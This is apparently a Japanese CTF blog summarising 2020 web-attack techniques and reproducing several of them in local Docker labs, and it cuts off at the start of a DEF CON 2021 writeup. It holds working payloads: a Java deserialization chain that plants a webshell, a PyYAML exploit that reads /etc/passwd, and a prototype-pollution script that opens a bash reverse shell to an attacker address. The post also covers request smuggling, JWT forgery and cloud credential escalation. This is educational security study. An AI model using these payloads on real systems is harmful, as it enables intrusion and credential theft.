# 生成したecho.payloadとshell.payloadを送信
root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# curl localhost:8080/demo/SimpleServlet --data-binary "@./echo.payload" -v
*   Trying ::1:8080...
* Connected to localhost (::1) port 8080 (#0)
> POST /demo/SimpleServlet HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 4023
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 4023 out of 4023 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 7249
< Date: Sat, 07 Aug 2021 04:13:17 GMT
< Connection: close
<
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> InvokerTransformer: The method &#39;newTransformer&#39; on &#39;class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&#39; threw an exception</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.apache.commons.collections.FunctorException: InvokerTransformer: The method &#39;newTransformer&#39; on &#39;class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&#39; threw an exception
        org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:133)
(snip)
</pre><p><b>Note</b> The full stack trace of the root cause is available in t* Closing connection 0

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# curl localhost:8080/demo/SimpleServlet --data-binary "@./shell.payload" -v
*   Trying ::1:8080...
* Connected to localhost (::1) port 8080 (#0)
> POST /demo/SimpleServlet HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 9864
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 9864 out of 9864 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 7249
< Date: Sat, 07 Aug 2021 04:13:34 GMT
< Connection: close
<
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> InvokerTransformer: The method &#39;newTransformer&#39; on &#39;class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&#39; threw an exception</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.apache.commons.collections.FunctorException: InvokerTransformer: The method &#39;newTransformer&#39; on &#39;class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&#39; threw an exception
        org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:133)
(snip)
</pre><p><b>Note</b> The full stack trace of the root cause is available in t* Closing connection 0
he server logs.</p><hr class="line" /><h3>Apache Tomcat/8.5.69</h3></body></html>

WebShell機能を持つフィルタが組み込まれたので、OSコマンドを実行するリクエストを発行すると、コマンド実行を確認できます。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-deserialize# curl http://localhost:8080/demo/SimpleServlet?ppppp=ls
bin
BUILDING.txt
conf
CONTRIBUTING.md
lib
LICENSE
logs
native-jni-lib
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
temp
webapps
webapps.dist
work

おまけ:ysoserialのJRMPListnerとJRMPClientの使い方

本家のysoserialのPayloadのうち、JRMPListnerJRMPClientの使い方がいまいちわかっていませんでしたが、 上記の検証のついでに調べたところ、以下の記事が参考になりました。
https://afinepl.medium.com/testing-and-exploiting-java-deserialization-in-2021-e762f3e43ca2

ただ、JEP(JDK Enhancement Proposals) 290のデシリアライゼーション・フィルタの導入以降は使用できないようです。 一応、実際に環境構築して試行しましたが、java.io.ObjectInputStream.filterCheck ObjectInputFilter REJECTEDと表示されてデシリアライズできませんでした。

.NETアプリケーション向けの安全でないデシリアライゼーション攻撃

ysoserialはJava用ですが、.NET用のysoserialもあります。

ysoserial.net
https://github.com/pwntester/ysoserial.net

PyYAMLのyaml.load関数の脆弱性を使用して任意のコード実行

PyYAMLのyaml.load関数に任意の文字列を渡せる場合に、任意のコードを実行できる脆弱性を突いた攻撃手法です。

複数のコンテストで出題されており、最新バージョンでは対策されているような脆弱性を使用するものもありましたが、中でもUIUCTF 2020のコンテスト中に編み出された手法は0day脆弱性となり、コンテスト後にCVE-2020-14343が割り当てられました。そのPoCコードはこちらです。

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('cat /etc/passwd')"

以下、参考ページです。
https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
https://github.com/yaml/pyyaml/issues/420

Prototype Pollution

AST Injection

プロトタイプ汚染の脆弱性が存在する場合に、 テンプレートエンジンがコードからAbstract syntax tree(抽象構文木)を組み立てる処理に介在して、 ASTを追加することで、任意の関数を実行する手法です。

以下の記事が参考になります。
https://blog.p6.is/AST-Injection/

上記の記事の写経に近いですが、手を動かさないと覚えないため、実際に試してみましょう。

まずは環境構築です。Dockerを使用します。

Dockerfile

FROM node:12

WORKDIR /usr/src/app

COPY package*.json ./

RUN npm install

COPY server.js server.js

EXPOSE 8080
CMD [ "node", "server.js" ]

server.js

const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars  = require('handlebars');
 
const app = express();
app.use(bodyParser.json())

app.get('/', function (req, res) {
    var source = "<h1>It works!</h1>";
    var template = Handlebars.compile(source);
    res.end(template({}));
});

app.post('/vulnerable', function (req, res) {
    let object = unflatten(req.body);
    res.json(object);
});
 
app.listen(8080);

package.jsonでは、flatのバージョンを脆弱性のある5.0.0に指定します。

{
    "name": "astinjection-demo",
    "version": "1.0.0",
    "description": "Node.js on Docker",
    "author": "none",
    "main": "server.js",
    "scripts": {
      "start": "node server.js"
    },
    "dependencies": {
        "body-parser": "^1.19.0",
        "express": "^4.17.1",
        "flat": "5.0.0",
        "handlebars": "^4.7.7"
    }    
  }

コンテナをビルドして起動します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/nodejs-ast# docker build -t nodejs-astinjection-demo .
Sending build context to Docker daemon  6.144kB
Step 1/7 : FROM node:12
 ---> 7e90b11a78a2
Step 2/7 : WORKDIR /usr/src/app
 ---> Using cache
 ---> 58a2fa8330f3
Step 3/7 : COPY package*.json ./
 ---> 08dfbea4e2ee
Step 4/7 : RUN npm install
 ---> Running in ef1f57a9565a
npm WARN deprecated flat@5.0.0: Fixed a prototype pollution security issue in 5.0.0, please upgrade to ^5.0.1. # 承知の上ですね
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN astinjection-demo@1.0.0 No repository field.
npm WARN astinjection-demo@1.0.0 No license field.

added 58 packages from 77 contributors and audited 58 packages in 2.746s

1 package is looking for funding
  run `npm fund` for details

found 0 vulnerabilities

Removing intermediate container ef1f57a9565a
 ---> 4da0a49d100b
Step 5/7 : COPY server.js server.js
 ---> fd5069ebe28b
Step 6/7 : EXPOSE 8080
 ---> Running in e95d54a4009b
Removing intermediate container e95d54a4009b
 ---> ef2213ff08f2
Step 7/7 : CMD [ "node", "server.js" ]
 ---> Running in 3a27159df156
Removing intermediate container 3a27159df156
 ---> 42c1b42ca7da
Successfully built 42c1b42ca7da
Successfully tagged nodejs-astinjection-demo:latest

# コンテナ起動。--initはCTRL+Cで終了できないための措置。
# 参考:https://github.com/nodejs/docker-node/blob/main/docs/BestPractices.md#handling-kernel-signals
root@kali:/mnt/hgfs/CTF/Writeup/2020/nodejs-ast# docker run --init --rm -p 8080:8080 --name nodejs-astinjectiondemo nodejs-astinjection-demo

exploit.py

import requests

TARGET_URL = 'http://localhost:8080'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/<リバースシェル先のIPアドレス>/4444 0>&1'`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
})

# execute
r = requests.get(TARGET_URL)
print(r.text)

実行すると、リバースシェルの接続要求が返ってきたため、OSコマンドが実行されたことを確認できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/nodejs-ast# python3 exploit.py

root@kali:/mnt/hgfs/CTF/Writeup/2020/nodejs-ast# nc -nvlp 4444
listening on [any] 4444 ...
connect to [172.32.0.1] from (UNKNOWN) [172.17.0.2] 40440
bash: cannot set terminal process group (6): Inappropriate ioctl for device
bash: no job control in this shell
root@dd27f18fe95a:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)

Regular expression Denial of Service(ReDoS)

Go言語の正規表現ライブラリ向けのReDosによるBlind Regular Expression Injection Attack

Go言語で使用している正規表現ライブラリであるRE2は非バックトラッキング正規表現エンジンとのことで、 よくReDoSの攻撃例で見るような(.*)*といった正規表現を使用しても、 計算量が膨れ上がってタイムアウトするようなことはありません。

その場合、以下のような正規表現を実行させることでReDoSを発生させることができます。 ...の部分は、(.?){1000}を繰り返すことで、計算量が増えて実行時間が伸びていきます。

^flag(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}...(.?){1000}salt$

上記の例では、評価対象の文字列がflag_hogehoge_saltのように、先頭部分がマッチする場合、計算量が大きくなり実行時間がかかります。一方、以下のように先頭部分がマッチしなければすぐに結果が返ってきます。

^flaa(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}...(.?){1000}salt$

よって、その時間差を観察することで、Blind Regular Expression Injection Attackで評価対象の文字列の情報を窃取できます。

考え方は以下のリンク先のwriteupを参照ください。

{}()+*記号を使用しないReDoSによるBlind Regular Expression Injection Attack

ReDoSを発生させる正規表現で使用するような{}()+*記号を使用せずに、ReDoSを発生させる手法です。

単純に.?を大量に連結させて、末尾に評価対象の文字列にマッチしない文字(salt)を付与するだけで発動します。

実際に試してみましょう。

# 先頭部分がマッチしないと、即座に結果が返ってくる。
>>> re.match("^flag_a"+".?"*50+"salt", "flag_hogehoge_fugafuga");

# 先頭部分がマッチすると、1分以上待っても結果が返ってこない。CTRL+Cで中断。
>>> re.match("^flag_h"+".?"*50+"salt", "flag_hogehoge_fugafuga");
^CTraceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.8/re.py", line 191, in match
    return _compile(pattern, flags).match(string)
KeyboardInterrupt

WappalyzerのReDos脆弱性

Webサイトがどういったプラットフォーム、フレームワーク、ライブラリを使用しているか検出する、Wappalyzerというブラウザの拡張機能があります。
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?hl=ja

Pwn2win CTF 2020のWatchersという問題ではWappalyzerのCLI版を実行しており、その結果をタイムアウトさせることで目的とするコードの条件分岐に進めることができましたが、ReDoSの脆弱性を突くことでタイムアウトを発生させる解法でした。

Side Channel Attack

CSP Embedded Enforcementの悪用

CSP Embedded Enforcementとは、iframeタグで読み込むページにcsp属性でCSPのポリシーを付与できる仕様です。 但し、読み込んだページから、より制限の緩いポリシーが返却された場合は、Webブラウザがブロックします。

pbctf 2020のXSPという問題では、管理者にXSS攻撃を仕掛けるために、 管理者がターゲットのWebサイトにアクセスした際にHTTPレスポンスヘッダーで返却される、 管理者用のCSPのポリシーを窃取する必要がありました。 そこに、iframeタグでターゲットのWebサイトを読み込んでcsp属性でポリシーを付与し、 WebブラウザがブロックしたかどうかでCSPのポリシーを特定する手法が使用されました。

Webブラウザの機能によりブロックされるかどうかで1文字ずつ特定するという点では、 2019年のCTFで少し流行ったXS-Searchと似ています。

実際に試してみます。

CSPヘッダーをHTTPレスポンスヘッダーで返却する簡単なWebサイトを用意します。 このhttp://localhost/aa/bbを取得することを目的とします。(本当は管理者やユーザごとにURLが異なりますが省略。)

from http.server import BaseHTTPRequestHandler, HTTPServer

address = ('localhost', 80)

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html; charset=utf-8')
        self.send_header('Content-Security-Policy', "default-src 'none'; script-src http://localhost/aa/bb")
        self.end_headers()
        self.wfile.write(b"OK")

with HTTPServer(address, MyHTTPRequestHandler) as server:
    server.serve_forever()

script-srcのURLが異なるポリシーをcsp属性にセットした、iframeタグを設置します。

ターゲットのWebサイト(この例ではlocalhost)がHTTPレスポンスヘッダーで返却するポリシーに包含される ポリシーをセットしているiframeは正常に表示され、包含されない=制限の緩いポリシーをセットしているiframeはブロックされるはずです。

<!DOCTYPE html>
<html>
<head>
  <title>CSP Embedded Enforcement Test</title>
</head>
<body>
http://localhost/aa/
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/aa/"></iframe><br>
http://localhost/bb/
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/bb/"></iframe><br>
http://localhost/cc/
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/cc/"></iframe><br>
http://localhost/aa/aa
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/aa/aa"></iframe><br>
http://localhost/aa/bb
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/aa/bb"></iframe><br>
http://localhost/aa/cc
<iframe src="http://localhost/hoge" csp="default-src 'none'; script-src http://localhost/aa/cc"></iframe><br>
</body>
</html>

Webブラウザで表示します。Chromeを使用しています。

f:id:graneed:20210809113436p:plain

script-srchttp://localhost/aa/http://localhost/aa/bbをセットしたiframeが表示されました。

この例では、CSP Embedded Enforcementの動きを理解することを優先して、 /aa//aa/bbを決め打ちにしたiframeを用意して試しましたが、 本来は、スクリプトを書いて1文字ずつつ特定する必要があります。

Cache Poisoning

HTML5のApplicaiton Cacheのキャッシュポイゾニング

ångstromCTF 2020のUBIという問題は、複数の脆弱性を活用、連携させながら解く必要があり、かなり面白い問題でした。

その中でも、HTTP Header Injectionを使用してHTTPレスポンスヘッダーのContent-Typetext/cache-manifestを付与することで、管理者にApplicaiton Cacheのマニフェストファイルを読み込ませてキャッシュを使用させるという点が面白い手法でした。

詳細な説明は、以下のwriteupが参考になります。

HTTP Request Smuggling

Transfer-EncodingやContent-Lengthの解釈の違いを利用したHTTP Request Smuggling

Transfer-EncodingContent-LengthのHTTPリクエストヘッダーに通常とは異なる値がセットされていた場合に、 HTTPサーバーやプロキシサーバーのソフトウェアによってその解釈が異なることを利用して、 HTTP Request Smugglingを起こして、バックエンドへのリクエストを発行させたり、 他人のHTTPレスポンスを横取りする手法です。

以下の記事が参考になります。
https://portswigger.net/web-security/request-smuggling

昨年のDEF CON CTF Qualifierでも出題されており、当ブログでもwriteupを公開しています。

WebSocket経由のHTTP Request Smuggling

リバースプロキシにHTTP/1.1のアップグレード要求をして、 バックエンドのサーバーとWebSocket通信を確立してTCPトンネルを張ることで、 本来、公開していないはずのバックエンドのエンドポイントにリクエストを発行する手法です。

以下の記事が参考になります。
https://github.com/0ang3el/websocket-smuggle

また、この手法を使用するHack.lu CTF 2020のFluxCloud Frontlineという問題では、 その前にFirewallをバイパスする必要もありました。 そのために、接続先のHostとは異なるServer Name Indication(SNI)を指定してTLS接続することで、 SNI情報を元にアクセスコントロールをしているFirewallをバイパスするという手法も使用されていました。

HTTP/2 Cleartext(h2c)経由のHTTP Request Smuggling

上記の手法は、WebSocket通信へのアップグレードでしたが、 こちらはHTTP/2通信へのアップグレードにより、TCPトンネルを張る手法です。

以下の記事が参考になります。
https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

ツールとデモ環境も公開されています。
https://github.com/BishopFox/h2csmuggler

写経に近いですが、手を動かさないと覚えないため、実際に試してみましょう。

root@kali:/mnt/hgfs/CTF/Writeup/2020/h2c-smuggling/h2csmuggler# ./configs/generate-certificates.sh
Generating RSA private key, 2048 bit long modulus (2 primes)
......................................................................................+++++
..........+++++
e is 65537 (0x010001)

# HAProxyのコンテナ起動時に80と443ポートをバインドする権限がなくPermission deniedになったため、
# docker-compose.ymlとhaproxy.cfgのポート番号の設定を、80→10080、443→10443に変更。

root@kali:/mnt/hgfs/CTF/Writeup/2020/h2c-smuggling/h2csmuggler# docker-compose up
Creating network "h2csmuggler_default" with the default driver
(snip)
backend_1  | Listening [0.0.0.0:80]...
haproxy_1  | [NOTICE]   (1) : New worker #1 (7) forked
nginx_1    | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
nginx_1    | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
nginx_1    | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
nginx_1    | 10-listen-on-ipv6-by-default.sh: info: IPv6 listen already enabled
nginx_1    | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
nginx_1    | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
nginx_1    | /docker-entrypoint.sh: Configuration complete; ready for start up
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: using the "epoll" event method
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: nginx/1.21.1
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: built by gcc 8.3.0 (Debian 8.3.0-6)
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: OS: Linux 5.6.0-kali1-amd64
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: start worker processes
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: start worker process 23
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: start worker process 24
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: start worker process 25
nginx_1    | 2021/08/07 20:26:34 [notice] 1#1: start worker process 26
nuster_1   | [NOTICE] 218/202635 (1) : New worker #1 (7) forked
nginx_1    | 172.20.0.1 - - [07/Aug/2021:20:26:57 +0000] "GET / HTTP/2.0" 200 20 "-" "curl/7.72.0"

デモ環境には複数のプロキシサーバーが立っていますが、nginxのプロキシサーバーを対象に試してみます。 確かにプロキシサーバーで許可していないはずの/flagに対するアクセスが バックエンドのサーバーに到達していることが確認できました。

# まずはcurlでインデックスページにアクセスすると成功
root@kali:/mnt/hgfs/CTF/Writeup/2020/h2c-smuggling/h2csmuggler# curl https://localhost:8002/ -k
Hello, /, http: true

# curlで/flagにアクセスするとエラー
root@kali:/mnt/hgfs/CTF/Writeup/2020/h2c-smuggling/h2csmuggler# curl https://localhost:8002/flag -k
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.1</center>
</body>
</html>

# ツールを使用するとバックエンドの/flagにアクセス可能
root@kali:/mnt/hgfs/CTF/Writeup/2020/h2c-smuggling/h2csmuggler# python ./h2csmuggler.py -x https://localhost:8002/ http://backend/flag
[INFO] h2c stream established successfully.
:status: 200
content-type: text/plain; charset=utf-8
content-length: 20
date: Sat, 07 Aug 2021 20:32:29 GMT

Hello, /, http: true

[INFO] Requesting - /flag
:status: 200
content-type: text/plain; charset=utf-8
content-length: 17
date: Sat, 07 Aug 2021 20:32:29 GMT

You got the flag!

JWT改ざん

RS256の公開鍵をHS256の共通鍵として使用してJWTを署名

JWTの署名にRS256のアルゴリズムを使用する場合、クライアント側で署名検証するために公開鍵が公開されます。

そこで、サーバー側でRS256の公開鍵をHS256の共通鍵としても使用している場合、 JWTのPayloadを改ざんしてから、HS256アルゴリズムに変更してRS256の公開鍵で署名してサーバーに送信することで、 サーバー側の署名検証を通すことができるという手法です。

以下の記事が参考になります。
https://scgajge12.hatenablog.com/entry/jwt_security

JWT関連の作業にはThe JSON Web Token Toolkitが便利です。
https://github.com/ticarpi/jwt_tool

jkuヘッダーを自分の公開鍵に変更および秘密鍵を使用してJWTを署名

JWTにはjkuというヘッダーパラメータがあり、JWTの署名検証に使用する公開鍵の置き場を指定できます。

そこで、事前準備として、自分で秘密鍵と公開鍵を生成してから、 公開鍵をターゲットのサーバーへアップロードしたりサーバーを立てるなどして、 ターゲットのサーバーのアプリケーションからアクセス可能な場所に公開します。

そして、jkuヘッダーパラメータをその公開鍵の置き場所に変更し、 JWTのPayloadを改ざんしてから、秘密鍵で署名してサーバーに送信することで、 サーバー側の署名検証を通すことができるという手法です。

こちらの手法も同じくThe JSON Web Token Toolkitが使用できます。

polyglot

DNSとProtocol Buffersのpolyglot

DNSとProtocol Buffersの両方のデータフォーマットを満たすようなレコードを作成する必要のある問題でした。

作問者から問題ファイルとexploitコードが公開されています。ただし、解説はありません。
https://github.com/pspaul/ctf-challenges/tree/master/hacklu-2020/fluxcloud-doh

問題の解説は、以下のスライドが参考になります。
https://slides.com/hakatashi/witchs_key_party#/3

WebAssembly

WebAssemblyのReversing

WebAssemblyのReversingをする問題も何問か出題されていました。

当ブログでもwriteupを公開しています。

Machine Learning

ニューラルネットワークを使用した文字解析

Minecraftのゲーム内で使用されているStandard Galactic Alphabetで書かれた大量の文字画像を、 一定時間内に読み解いて入力するとFLAGが得られる問題です。

人間ではクリアできない時間と量であるため機械学習を使用する必要があります。

2019年のSANS Holiday Hack Challengeでも機械学習を使用して画像処理する問題が出題されました。
https://graneed.hatenablog.com/entry/2020/01/13/215809#8-Bypassing-the-Frido-Sleigh-CAPTEHA

AWS

AWSインスタンスメタデータから認証情報取得してから権限昇格

SSRFの脆弱性を使用してAWSインスタンスメタデータにアクセスし、 EC2インスタンスにアタッチされているIAMロールの認証情報を取得してから、 そのIAMロールの権限を使用して更に別のIAMユーザの認証情報を取得し権限昇格する問題です。

AWS用のペンテストツールとして有名な、pacuを使用しました。
https://github.com/RhinoSecurityLabs/pacu

当ブログでもwriteupを公開しています。

S3バージョニングの確認

AWS S3にはバージョニング機能があり、有効化した状態でオブジェクトを更新すると、過去のバージョンも保持されます。 よって、S3バケットの一覧表示が可能な場合、バージョンの確認も必要です。 なお、正確には、一覧表示にはListBucket権限、バージョンの確認にはListBucketVersions権限が必要となるため、 一覧表示できたとしてもバージョンまで確認できるとは限りません。

実際に試してみましょう。

誰でもListBucketListBucketVersionsが可能なS3バケットを用意します。

f:id:graneed:20210809113624p:plain

flag.txtをアップロードして、更に内容を変更して再アップロードし、2世代保持します。

f:id:graneed:20210809113635p:plain

AWS CLIで確認してみます。

# まずは普通にS3バケットを一覧表示
root@kali:~# aws s3api list-objects --bucket s3-versioning-test-ivcbxvq1hk
{
    "Contents": [
        {
            "Key": "flag.txt",
            "LastModified": "2021-08-08T03:05:20.000Z",
            "ETag": "\"9ef7ab536db704fba7129c1066b5b88e\"",
            "Size": 35,
            "StorageClass": "STANDARD"
        }
    ]
}

# 次にバージョンを確認
root@kali:~# aws s3api list-object-versions --bucket s3-versioning-test-ivcbxvq1hk
{
    "Versions": [
        {
            "ETag": "\"9ef7ab536db704fba7129c1066b5b88e\"",
            "Size": 35,
            "StorageClass": "STANDARD",
            "Key": "flag.txt",
            "VersionId": "jnqj4o.d3M7a19XhVrx2suVRe4t6_r..",
            "IsLatest": true,
            "LastModified": "2021-08-08T03:05:20.000Z"
        },
        {
            "ETag": "\"cfb7b2c016dbca5b263ea5322b33594e\"",
            "Size": 31,
            "StorageClass": "STANDARD",
            "Key": "flag.txt",
            "VersionId": "AqNJTjwwVg1ZJ7mHaAyLuLmgBrlbTyCT",
            "IsLatest": false,
            "LastModified": "2021-08-08T03:04:23.000Z"
        }
    ]
}

VersionIdが取得できたので、過去バージョンのオブジェクトを取得してみます。

# まずはVersionIdを指定せずに取得すると最新版(2世代目)を取得
root@kali:~# aws s3api get-object --bucket s3-versioning-test-ivcbxvq1hk --key flag.txt flag.txt
{
    "AcceptRanges": "bytes",
    "LastModified": "Sun, 08 Aug 2021 03:05:20 GMT",
    "ContentLength": 35,
    "ETag": "\"9ef7ab536db704fba7129c1066b5b88e\"",
    "VersionId": "jnqj4o.d3M7a19XhVrx2suVRe4t6_r..",
    "ContentType": "text/plain",
    "Metadata": {}
}
root@kali:~# iconv -f SJIS flag.txt
バージョン2にアップデートしました!

# VersionIdを指定して過去バージョン(1世代目)を取得
root@kali:~# aws s3api get-object --bucket s3-versioning-test-ivcbxvq1hk --key flag.txt --version-id AqNJTjwwVg1ZJ7mHaAyLuLmgBrlbTyCT flag_old.txt
{
    "AcceptRanges": "bytes",
    "LastModified": "Sun, 08 Aug 2021 03:04:23 GMT",
    "ContentLength": 31,
    "ETag": "\"cfb7b2c016dbca5b263ea5322b33594e\"",
    "VersionId": "AqNJTjwwVg1ZJ7mHaAyLuLmgBrlbTyCT",
    "ContentType": "text/plain",
    "Metadata": {}
}
root@kali:~# iconv -f SJIS flag_old.txt
これはバージョン1のファイルです

GCP

CRLFインジェクションを使用したGCPインスタンスメタデータへのアクセス

AWSと同様にGCPにもインスタンスメタデータがあります。 GCPでは、インスタンスメタデータにアクセスするにはHTTPリクエストヘッダーにMetadata-Flavor: Googleを付与する必要があります。 これはSSRF対策のためであると考えられます。(なお、AWSでもインスタンスメタデータv2であればHTTPリクエストヘッダーにtokenを付与する必要があります。)

しかし、Balsn CTF 2020のtpcという問題では、SSRFの脆弱性に加えてCRLFインジェクションの脆弱性もあったため、任意のHTTPリクエストヘッダーを付与可能であり、インスタンスメタデータへアクセス可能でした。

GCPインスタンスメタデータから認証情報取得してから権限昇格

インタンスメタデータから他のサービスアカウント(AWSで例えるとアクセスキーIDとシークレットアクセスキーを持つIAMユーザ)の認証情報を取得して、権限昇格する問題です。権限昇格後は、Secret ManagerというサービスからFLAGを取得します。

想定解と非想定解の両方とも参考になります。

GCPの認証情報取得後のenumeration

認証情報を取得後に次にどうしたらいいか手詰りになることがありますが、 そういったときにenumeration用のツールを使用すると、効率的・網羅的に確認することができます。

gcp_enum
https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_enum

Firebaseで開発されたアプリから情報取得

Firebaseとは、スマホアプリやWebアプリ開発のプラットフォームですが、 クライアントからAPIを呼び出すために、API Key等を含んだfirebaseConfigオブジェクトを、 JavaScript内に埋め込みます。

X-MAS CTF 2020のThe Big Election Hackという問題では、 このfirebaseConfigオブジェクト内の情報を使用してAPIを実行し、 新規ユーザ登録や、適切にアクセス制御されていないセキュリティルールを突いて、 Cloud FirestoreやCloud Storage for Firebaseから情報取得する解法でした。

FirebaseのAPIを呼び出すための支援ツールが公開されています。
https://github.com/0xbigshaq/firepwn-tool

最後に

今回は、2018年と2019年のまとめよりも、実機での検証を多めにしました。

月並みな表現ではありますが、やはりwriteupを読むだけでなく自分で手を動かしたことで、より理解が深まったと感じます。この記事には検証が成功した結果しか載せていないですが、そこに至るまでに調査や試行錯誤もしており、その過程で得られる知見やテクニックも有用です。また、検証環境の構築作業を通して、ミドルウェアの知識やテクニックも身に付きました。大部分をDockerで環境構築したため、CTFの競技中に自分の環境で検証したい場合においても簡単に流用できそうです。

さて、昨年も今年も公私ともに忙しく、2020年のまとめの公開が非常に遅れてしまいました。 また、開催期間中のCTFのコンテスト参加も全然できていません。

当然、既に2021年のコンテストは多数開催されているため、writeupも多数公開されているものと想定しています。 2021年のまとめ記事に向けて、早めに読み進めて検証していきたいところです。

DEF CON CTF Qualifier 2021 writeup - threefactooorx

ここ最近、CTFへの参加ができておらず、久しぶりのWriteup投稿。

DEF CON CTFはCTF界のお祭りであるし、GW期間で時間が少し取れたので参加することにした。
とは言え、pwn問とrev問が多数を占めておりWeb問は1問のみ。 何とかその1問は解いたことで責務を果たした。

問題

This is the end of phishing. The Order of the Overflow is introducing the ultimate authentication factor, the most important one, the final one. To help the web transition to this new era of security, we are introducing a 3FA tool for testing your webpages completely isolated on our admin's browser.

http://threefactooorx.challenges.ooo:4017

f:id:graneed:20210503065624p:plain

添付ファイル:3factooorx.crx

Writeup

問題ページの確認

here!のリンクをクリックすると、HTMLファイルをアップロードできる画面に遷移。
f:id:graneed:20210503065704p:plain

適当に、以下のテスト用のHTMLファイルを作ってアップロードしてみる。

<html>
<head>
</head>
<body>
test
</body>
</html>

アップロード直後、以下の画面が表示された。
f:id:graneed:20210503065837p:plain

しばらくすると、adminがアップロードしたHTMLを開いたであろう画像が表示された。背景が緑になっているが、特にHTMLファイルで背景の色は指定していない。 f:id:graneed:20210503065946p:plain

なるほど、わからん。

添付ファイルの確認

次に、添付ファイルのcrxファイルを確認する。 crxファイルはChrome拡張機能のファイルである。 zipで展開できるので、中身のファイルを確認していく。 主となる機能は以下の2ファイルに実装されている。

background_script.js

// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.getflag == "true")
      sendResponse({flag: "OOO{}"});
  }
);

content_script.js

